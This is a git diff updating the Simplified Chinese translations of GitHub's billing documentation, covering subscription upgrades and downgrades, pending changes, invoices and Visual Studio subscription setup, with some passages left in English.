   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise
   - /github/setting-up-and-managing-billing-and-payments-on-github/connecting-an-azure-subscription-to-your-enterprise
diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
index cdaa744340..405b2f74aa 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
@@ -1,6 +1,6 @@
 ---
-title: Downgrading your GitHub subscription
-intro: 'You can downgrade the subscription for any type of account on {% data variables.product.product_location %} at any time.'
+title: 降级 GitHub 订阅
+intro: '您可以随时降级 {% data variables.product.product_location %} 上任何类型的帐户的订阅。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-your-github-subscription
   - /articles/downgrading-your-personal-account-s-billing-plan
@@ -26,71 +26,62 @@ topics:
   - Organizations
   - Repositories
   - User account
-shortTitle: Downgrade subscription
+shortTitle: 降级订阅
 ---
-## Downgrading your {% data variables.product.product_name %} subscription
 
-When you downgrade your user account or organization's subscription, pricing and account feature changes take effect on your next billing date. Changes to your paid user account or organization subscription does not affect subscriptions or payments for other paid {% data variables.product.prodname_dotcom %} features. For more information, see "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)."
+## 降级您的 {% data variables.product.product_name %} 订阅
 
-## Downgrading your user account's subscription
+降级用户帐户或组织的订阅时，定价和帐户功能更改将在下一个帐单日期生效。 对付费用户帐户或组织订阅的更改不影响其他付费 {% data variables.product.prodname_dotcom %} 功能的订阅或付款。 更多信息请参阅“[升级或降低对结算过程有何影响？](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)”
 
-If you downgrade your user account from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, the account will lose access to advanced code review tools on private repositories. {% data reusables.gated-features.more-info %}
+## 降级用户帐户的订阅
+
+如果您将您的用户帐户从 {% data variables.product.prodname_pro %} 降级为 {% data variables.product.prodname_free_user %}，该帐户将失去对私有仓库中高级代码审查工具的访问权限。 {% data reusables.gated-features.more-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
-1. Under "Current plan", use the **Edit** drop-down and click **Downgrade to Free**.
-  ![Downgrade to free button](/assets/images/help/billing/downgrade-to-free.png)
-5. Read the information about the features your user account will no longer have access to on your next billing date, then click **I understand. Continue with downgrade**.
-  ![Continue with downgrade button](/assets/images/help/billing/continue-with-downgrade.png)
+1. 在“Current plan（当前计划）”下，使用 **Edit（编辑）**下拉菜单并单击 **Downgrade to Free（降级到免费 ）**。 ![降级到免费按钮](/assets/images/help/billing/downgrade-to-free.png)
+5. 阅读有关信息，了解您的用户帐户在下一个结算日期将不再拥有访问权限的功能，然后单击 **I understand. Continue with downgrade（我明白。继续降级）**。 ![继续降级按钮](/assets/images/help/billing/continue-with-downgrade.png)
 
-If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, remove or update your DNS records before downgrading from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+如果您在私有仓库中发布了 {% data variables.product.prodname_pages %} 站点，并添加了自定义域，在从 {% data variables.product.prodname_pro %} 降级至 {% data variables.product.prodname_free_user %} 前，请删除或更新您的 DNS 记录，以避免域接管的风险。 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)。
 
-## Downgrading your organization's subscription
+## 降级组织的订阅
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-If you downgrade your organization from {% data variables.product.prodname_team %} to {% data variables.product.prodname_free_team %} for an organization, the account will lose access to advanced collaboration and management tools for teams.
+如果将您的组织从 {% data variables.product.prodname_team %} 降级到 {% data variables.product.prodname_free_team %}，该帐户将失去对团队高级协作和管理工具的访问权限。
 
-If you downgrade your organization from {% data variables.product.prodname_ghe_cloud %} to {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_team %}, the account will lose access to advanced security, compliance, and deployment controls. {% data reusables.gated-features.more-info %}
+如果将您的组织从 {% data variables.product.prodname_ghe_cloud %} 降级到 {% data variables.product.prodname_team %} 或 {% data variables.product.prodname_free_team %}，该帐户将失去对高级安全性、合规性和部署控件的访问权限。 {% data reusables.gated-features.more-info %}
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Current plan", use the **Edit** drop-down and click the downgrade option you want.
-  ![Downgrade button](/assets/images/help/billing/downgrade-option-button.png)
+1. 在“Current plan（当前计划）”下，使用 **Edit（编辑）**下拉菜单，单击您想要的降级选项。 ![降级按钮](/assets/images/help/billing/downgrade-option-button.png)
 {% data reusables.dotcom_billing.confirm_cancel_org_plan %}
 
-## Downgrading an organization's subscription with legacy per-repository pricing
+## 降级采用传统的按仓库定价模式的组织订阅
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[Switching your organization from per-repository to per-user pricing](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)."
+{% data reusables.dotcom_billing.switch-legacy-billing %} 更多信息请参阅“[将组织从按仓库定价切换为按用户定价](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)”。
 
 {% data reusables.organizations.billing-settings %}
-5. Under "Subscriptions", select the "Edit" drop-down, and click **Edit plan**.
-    ![Edit Plan dropdown](/assets/images/help/billing/edit-plan-dropdown.png)
-1. Under "Billing/Plans",  next to the plan you want to change, click **Downgrade**.
-    ![Downgrade button](/assets/images/help/billing/downgrade-plan-option-button.png)
-1. Enter the reason you're downgrading your account, then click **Downgrade plan**.
-    ![Text box for downgrade reason and downgrade button](/assets/images/help/billing/downgrade-plan-button.png)
+5. 在“Subscriptions（订阅）”下，选择“Edit（编辑）”下拉菜单，然后单击 **Edit plan（编辑计划）**。 ![编辑计划下拉菜单](/assets/images/help/billing/edit-plan-dropdown.png)
+1. 在“Billing/Plans（计费/计划）”下您要更改的计划旁边，单击 **Downgrade（降级）**。 ![降级按钮](/assets/images/help/billing/downgrade-plan-option-button.png)
+1. 输入要降级帐户的原因，然后单击 **Downgrade plan（降级计划）**。 ![降级原因文本框和降级按钮](/assets/images/help/billing/downgrade-plan-button.png)
 
-## Removing paid seats from your organization
+## 从组织删除付费席位
 
-To reduce the number of paid seats your organization uses, you can remove members from your organization or convert members to outside collaborators and give them access to only public repositories. For more information, see:
-- "[Removing a member from your organization](/articles/removing-a-member-from-your-organization)"
-- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+要减少组织使用的付费席位数，您可以从组织中删除成员，或将成员转换为外部协作者并仅给予他们公共仓库的访问权限。 更多信息请参阅：
+- “[从组织中删除成员](/articles/removing-a-member-from-your-organization)”
+- "[将组织成员转换为外部协作者](/articles/converting-an-organization-member-to-an-outside-collaborator)"
+- "[管理个人对组织仓库的访问](/articles/managing-an-individual-s-access-to-an-organization-repository)"
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Current plan", use the **Edit** drop-down and click **Remove seats**.
-  ![remove seats dropdown](/assets/images/help/billing/remove-seats-dropdown.png)
-1. Under "Remove seats", select the number of seats you'd like to downgrade to.
-  ![remove seats option](/assets/images/help/billing/remove-seats-amount.png)
-1. Review the information about your new payment on your next billing date, then click **Remove seats**.
-  ![remove seats button](/assets/images/help/billing/remove-seats-button.png)
+1. 在“Current plan（当前计划）”下，使用 **Edit（编辑）**下拉菜单并单击 **Remove seats（删除席位）**。 ![删除席位下拉菜单](/assets/images/help/billing/remove-seats-dropdown.png)
+1. 在“Remove seats”（删除席位）下，选择要降级的席位数。 ![删除席位选项](/assets/images/help/billing/remove-seats-amount.png)
+1. 审查有关在下一个结算日期执行新付款方式的信息，然后单击 **Remove seats（删除席位）**。 ![删除席位按钮](/assets/images/help/billing/remove-seats-button.png)
 
-## Further reading
+## 延伸阅读
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
-- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
-- "[Removing a payment method](/articles/removing-a-payment-method)"
-- "[About per-user pricing](/articles/about-per-user-pricing)"
+- “[{% data variables.product.prodname_dotcom %} 的产品](/articles/github-s-products)”
+- "[升级或降级对结算过程有何影响？](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
+- “[关于 {% data variables.product.prodname_dotcom %} 的计费](/articles/about-billing-on-github)”
+- “[关于每用户定价](/articles/about-per-user-pricing)”
diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/index.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/index.md
index 7801363423..fe8d483929 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/index.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing billing for your GitHub account
-shortTitle: Your GitHub account
+title: 管理 GitHub 帐户的计费
+shortTitle: 您的 GitHub 帐户
 intro: '{% ifversion fpt %}{% data variables.product.product_name %} offers free and paid products for every account. You can upgrade, downgrade, and view pending changes to your account''s subscription at any time.{% elsif ghec or ghes or ghae %}You can manage billing for {% data variables.product.product_name %}{% ifversion ghae %}.{% elsif ghec or ghes %} from your enterprise account on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}{% endif %}'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account
diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
index e799ea4063..0d8db709e4 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Managing invoices for your enterprise
 shortTitle: Manage invoices
 intro: 'You can view, pay, or download a current invoice for your enterprise, and you can view your payment history.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 versions:
   ghec: '*'
 type: how_to
diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
index fee3631236..779d674db1 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
@@ -1,5 +1,5 @@
 ---
-title: Upgrading your GitHub subscription
+title: 升级 GitHub 订阅
 intro: 'You can upgrade the subscription for any type of account on {% data variables.product.product_location %} at any time.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -29,7 +29,7 @@ topics:
   - Troubleshooting
   - Upgrades
   - User account
-shortTitle: Upgrade your subscription
+shortTitle: 升级订阅
 ---
 
 ## About subscription upgrades
@@ -38,15 +38,14 @@ shortTitle: Upgrade your subscription
 
 When you upgrade the subscription for an account, the upgrade changes the paid features available for that account only, and not any other accounts you use.
 
-## Upgrading your personal account's subscription
+## 升级个人帐户的订阅
 
 You can upgrade your personal account from {% data variables.product.prodname_free_user %} to {% data variables.product.prodname_pro %} to get advanced code review tools on private repositories owned by your user account. Upgrading your personal account does not affect any organizations you may manage or repositories owned by those organizations. {% data reusables.gated-features.more-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
-1. Next to "Current plan", click **Upgrade**.
-  ![Upgrade button](/assets/images/help/billing/settings_billing_user_upgrade.png)
-2. Under "Pro" on the "Compare plans" page, click **Upgrade to Pro**.
+1. 在“Current plan（当前计划）”旁边，单击 **Upgrade（升级）**。 ![升级按钮](/assets/images/help/billing/settings_billing_user_upgrade.png)
+2. 在“Compare plans（比较计划）”页面的 "Pro" 下，单击 **Upgrade to Pro（升级到 Pro）**。
 {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
 {% data reusables.dotcom_billing.show-plan-details %}
 {% data reusables.dotcom_billing.enter-billing-info %}
@@ -57,9 +56,9 @@ You can upgrade your personal account from {% data variables.product.prodname_fr
 
 You can upgrade your organization's subscription to a different product, add seats to your existing product, or switch from per-repository to per-user pricing.
 
-### Upgrading your organization's subscription
+### 升级组织的订阅
 
-You can upgrade your organization from {% data variables.product.prodname_free_team %} for an organization to {% data variables.product.prodname_team %} to access advanced collaboration and management tools for teams, or upgrade your organization to {% data variables.product.prodname_ghe_cloud %} for additional security, compliance, and deployment controls. Upgrading an organization does not affect your personal account or repositories owned by your personal account. {% data reusables.gated-features.more-info-org-products %}
+您可以将组织从 {% data variables.product.prodname_free_team %} 升级到 {% data variables.product.prodname_team %}，以访问团队的高级协作和管理工具，也可以将组织升级到 {% data variables.product.prodname_ghe_cloud %} 以使用更多的安全性、合规性和部署控件。 Upgrading an organization does not affect your personal account or repositories owned by your personal account. {% data reusables.gated-features.more-info-org-products %}
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
@@ -72,41 +71,39 @@ You can upgrade your organization from {% data variables.product.prodname_free_t
 {% data reusables.dotcom_billing.owned_by_business %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-### Next steps for organizations using {% data variables.product.prodname_ghe_cloud %}
+### 使用 {% data variables.product.prodname_ghe_cloud %} 的组织的后续步骤
 
-If you upgraded your organization to {% data variables.product.prodname_ghe_cloud %}, you can set up identity and access management for your organization. For more information, see "[Managing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+如果您已将组织升级到 {% data variables.product.prodname_ghe_cloud %}，便可设置组织的身份和访问管理。 For more information, see "[Managing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
-If you'd like to use an enterprise account with {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+如果想要将企业帐户与 {% data variables.product.prodname_ghe_cloud %} 一起使用，请联系 {% data variables.contact.contact_enterprise_sales %}。 For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
-### Adding seats to your organization
+### 将席位添加到您的组织
 
-If you'd like additional users to have access to your {% data variables.product.prodname_team %} organization's private repositories, you can purchase more seats anytime.
+如果希望其他用户能够访问您 {% data variables.product.prodname_team %} 组织的私有仓库，您可以随时购买更多席位。
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.add-seats %}
 {% data reusables.dotcom_billing.number-of-seats %}
 {% data reusables.dotcom_billing.confirm-add-seats %}
 
-### Switching your organization from per-repository to per-user pricing
+### 将组织从按仓库定价切换为按用户定价
 
-{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[About per-user pricing](/articles/about-per-user-pricing)."
+{% data reusables.dotcom_billing.switch-legacy-billing %} 更多信息请参阅“[关于每用户定价](/articles/about-per-user-pricing)”。
 
 {% data reusables.organizations.billing-settings %}
-5. To the right of your plan name, use the **Edit** drop-down menu, and select **Edit plan**.
-  ![Edit drop-down menu](/assets/images/help/billing/per-user-upgrade-button.png)
-6. To the right of "Advanced tools for teams", click **Upgrade now**.
-  ![Upgrade now button](/assets/images/help/billing/per-user-upgrade-now-button.png)
+5. 在计划名称的右侧，使用 **Edit（编辑）**下拉菜单，然后选择 **Edit plan（编辑计划）**。 ![编辑下拉菜单](/assets/images/help/billing/per-user-upgrade-button.png)
+6. 在“Advanced tools for teams（团队的高级工具）”右侧，单击 **Upgrade now（立即升级）**。 ![立即升级按钮](/assets/images/help/billing/per-user-upgrade-now-button.png)
 {% data reusables.dotcom_billing.choose_org_plan %}
 {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
 {% data reusables.dotcom_billing.owned_by_business %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-## Troubleshooting a 500 error when upgrading
+## 升级时对 500 错误进行故障排除
 
 {% data reusables.dotcom_billing.500-error %}
 
-## Further reading
+## 延伸阅读
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
-- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
+- “[{% data variables.product.prodname_dotcom %} 的产品](/articles/github-s-products)”
+- "[升级或降级对结算过程有何影响？](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
+- “[关于 {% data variables.product.prodname_dotcom %} 的计费](/articles/about-billing-on-github)”
diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
index 6b946551a5..f7c49ff9dc 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing pending changes to your subscription
-intro: You can view and cancel pending changes to your subscriptions before they take effect on your next billing date.
+title: 查看和管理对订阅的待定更改
+intro: 在下一个结算日期其生效之前，您可以查看和取消对订阅的待定更改。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-and-managing-pending-changes-to-your-subscription
   - /articles/viewing-and-managing-pending-changes-to-your-personal-account-s-billing-plan
@@ -15,13 +15,14 @@ type: how_to
 topics:
   - Organizations
   - User account
-shortTitle: Pending subscription changes
+shortTitle: 待定订阅更改
 ---
-You can cancel pending changes to your account's subscription as well as pending changes to your subscriptions to other paid features and products.
 
-When you cancel a pending change, your subscription will not change on your next billing date (unless you make a subsequent change to your subscription before your next billing date).
+您可以取消对帐户订阅的待定更改，以及对其他付费功能和产品订阅的待定更改。
 
-## Viewing and managing pending changes to your personal account's subscription
+取消待定更改时，您的订阅不会在下一结算日期更改（除非您在下一结算日期之前对订阅进行后续的更改）。
+
+## 查看和管理对个人帐户订阅的待定更改
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -29,13 +30,13 @@ When you cancel a pending change, your subscription will not change on your next
 {% data reusables.dotcom_billing.cancel-pending-changes %}
 {% data reusables.dotcom_billing.confirm-cancel-pending-changes %}
 
-## Viewing and managing pending changes to your organization's subscription
+## 查看和管理对组织订阅的待定更改
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.review-pending-changes %}
 {% data reusables.dotcom_billing.cancel-pending-changes %}
 {% data reusables.dotcom_billing.confirm-cancel-pending-changes %}
 
-## Further reading
+## 延伸阅读
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
+- “[{% data variables.product.prodname_dotcom %} 的产品](/articles/github-s-products)”
diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
index 853a9225da..12262b9e92 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: 查看企业帐户的订阅和使用情况
 intro: 'You can view the current {% ifversion ghec %}subscription, {% endif %}license usage{% ifversion ghec %}, invoices, payment history, and other billing information{% endif %} for {% ifversion ghec %}your enterprise account{% elsif ghes %}{% data variables.product.product_location_enterprise %}{% endif %}.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: 'Enterprise owners {% ifversion ghec %}and billing managers {% endif %}can access and manage all billing settings for enterprise accounts.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account
diff --git a/translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md b/translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
index 6d51a952ce..c4e39f17fb 100644
--- a/translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
+++ b/translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
@@ -1,13 +1,13 @@
 ---
 title: Setting up Visual Studio subscriptions with GitHub Enterprise
-intro: "Your team's subscription to {% data variables.product.prodname_vs %} can also provide access to {% data variables.product.prodname_enterprise %}."
+intro: 'Your team''s subscription to {% data variables.product.prodname_vs %} can also provide access to {% data variables.product.prodname_enterprise %}.'
 versions:
   ghec: '*'
 type: how_to
 topics:
   - Enterprise
   - Licensing
-shortTitle: Set up
+shortTitle: 设置
 ---
 
 ## About setup of {% data variables.product.prodname_vss_ghe %}
@@ -20,22 +20,21 @@ This guide shows you how your team can get {% data variables.product.prodname_vs
 
 Before setting up {% data variables.product.prodname_vss_ghe %}, it's important to understand the roles for this combined offering.
 
-| Role | Service | Description | More information |
-| :- | :- | :- | :- |
-| **Subscriptions admin** | {% data variables.product.prodname_vs %} subscription | Person who assigns licenses for {% data variables.product.prodname_vs %} subscription | [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs |
-| **Subscriber** | {% data variables.product.prodname_vs %} subscription | Person who uses a license for {% data variables.product.prodname_vs %} subscription | [Visual Studio Subscriptions documentation](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) in Microsoft Docs |
-| **Enterprise owner** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's an administrator of an enterprise on {% data variables.product.product_location %} | "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)" |
-| **Organization owner** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's an owner of an organization in your team's enterprise on {% data variables.product.product_location %} | "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)" |
-| **Enterprise member** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's a member of an enterprise on {% data variables.product.product_location %} | "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members)"  |
+| Role                    | 服务                                                    | 描述                                                                                                                                          | 更多信息                                                                                                                                              |
+|:----------------------- |:----------------------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Subscriptions admin** | {% data variables.product.prodname_vs %} subscription | Person who assigns licenses for {% data variables.product.prodname_vs %} subscription                                                       | [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs        |
+| **Subscriber**          | {% data variables.product.prodname_vs %} subscription | Person who uses a license for {% data variables.product.prodname_vs %} subscription                                                         | [Visual Studio Subscriptions documentation](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) in Microsoft Docs                       |
+| **企业所有者**               | {% data variables.product.prodname_dotcom %}          | Person who has a user account that's an administrator of an enterprise on {% data variables.product.product_location %}                     | "[企业中的角色](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)"                                      |
+| **Organization owner**  | {% data variables.product.prodname_dotcom %}          | Person who has a user account that's an owner of an organization in your team's enterprise on {% data variables.product.product_location %} | "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)" |
+| **Enterprise member**   | {% data variables.product.prodname_dotcom %}          | Person who has a user account that's a member of an enterprise on {% data variables.product.product_location %}                             | "[企业中的角色](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members)"                                    |
 
-## Prerequisites
+## 基本要求
 
-- Your team's {% data variables.product.prodname_vs %} subscription must include {% data variables.product.prodname_enterprise %}. For more information, see [{% data variables.product.prodname_vs %} Subscriptions and Benefits](https://visualstudio.microsoft.com/subscriptions/) on the {% data variables.product.prodname_vs %} website and
- [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs.
- 
- - Your team must have an enterprise on {% data variables.product.product_location %}. If you're not sure whether your team has an enterprise, contact your {% data variables.product.prodname_dotcom %} administrator. If you're not sure who on your team is responsible for {% data variables.product.prodname_dotcom %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+- Your team's {% data variables.product.prodname_vs %} subscription must include {% data variables.product.prodname_enterprise %}. For more information, see [{% data variables.product.prodname_vs %} Subscriptions and Benefits](https://visualstudio.microsoft.com/subscriptions/) on the {% data variables.product.prodname_vs %} website and [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs.
 
-## Setting up {% data variables.product.prodname_vss_ghe %}
+ - Your team must have an enterprise on {% data variables.product.product_location %}. If you're not sure whether your team has an enterprise, contact your {% data variables.product.prodname_dotcom %} administrator. If you're not sure who on your team is responsible for {% data variables.product.prodname_dotcom %}, contact {% data variables.contact.contact_enterprise_sales %}. 更多信息请参阅“[关于企业帐户](/admin/overview/about-enterprise-accounts)”。
+
+## 设置 {% data variables.product.prodname_vss_ghe %}
 
 To set up {% data variables.product.prodname_vss_ghe %}, members of your team must complete the following tasks.
 
@@ -49,20 +48,20 @@ One person may be able to complete the tasks because the person has all of the r
 
 1. If the subscription admin has not disabled email notifications, the subscriber will receive two confirmation emails. For more information, see [{% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/access-github#what-is-the-visual-studio-subscription-with-github-enterprise-setup-process) in Microsoft Docs.
 
-1. An organization owner must invite the subscriber to the organization on {% data variables.product.product_location %} from step 1. The subscriber can accept the invitation with an existing user account on {% data variables.product.prodname_dotcom_the_website %} or create a new account. After the subscriber joins the organization, the subscriber becomes an enterprise member. For more information, see "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."
+1. An organization owner must invite the subscriber to the organization on {% data variables.product.product_location %} from step 1. 订阅者可以使用 {% data variables.product.prodname_dotcom_the_website %} 上的现有用户帐户或创建一个新帐户来接受邀请。 After the subscriber joins the organization, the subscriber becomes an enterprise member. 更多信息请参阅“[邀请用户加入组织](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)”。
 
    {% tip %}
 
-   **Tips**:
+   **提示**：
 
    - While not required, we recommend that the organization owner sends an invitation to the same email address used for the subscriber's User Primary Name (UPN). When the email address on {% data variables.product.product_location %} matches the subscriber's UPN, you can ensure that another enterprise does not claim the subscriber's license.
-   - If the subscriber accepts the invitation to the organization with an existing user account on {% data variables.product.product_location %}, we recommend that the subscriber add the email address they use for {% data variables.product.prodname_vs %} to their user account on {% data variables.product.product_location %}. For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account)."
+   - If the subscriber accepts the invitation to the organization with an existing user account on {% data variables.product.product_location %}, we recommend that the subscriber add the email address they use for {% data variables.product.prodname_vs %} to their user account on {% data variables.product.product_location %}. 更多信息请参阅“[添加电子邮件地址到 {% data variables.product.prodname_dotcom %} 帐户](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account)”。
    - If the organization owner must invite a large number of subscribers, a script may make the process faster. For more information, see [the sample PowerShell script](https://github.com/github/platform-samples/blob/master/api/powershell/invite_members_to_org.ps1) in the `github/platform-samples` repository.
 
     {% endtip %}
 
-After {% data variables.product.prodname_vss_ghe %} is set up for subscribers on your team, enterprise owners can review licensing information on {% data variables.product.product_location %}. For more information, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
+After {% data variables.product.prodname_vss_ghe %} is set up for subscribers on your team, enterprise owners can review licensing information on {% data variables.product.product_location %}. 更多信息请参阅"[查看企业帐户的订阅和使用](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)"。
 
-## Further reading
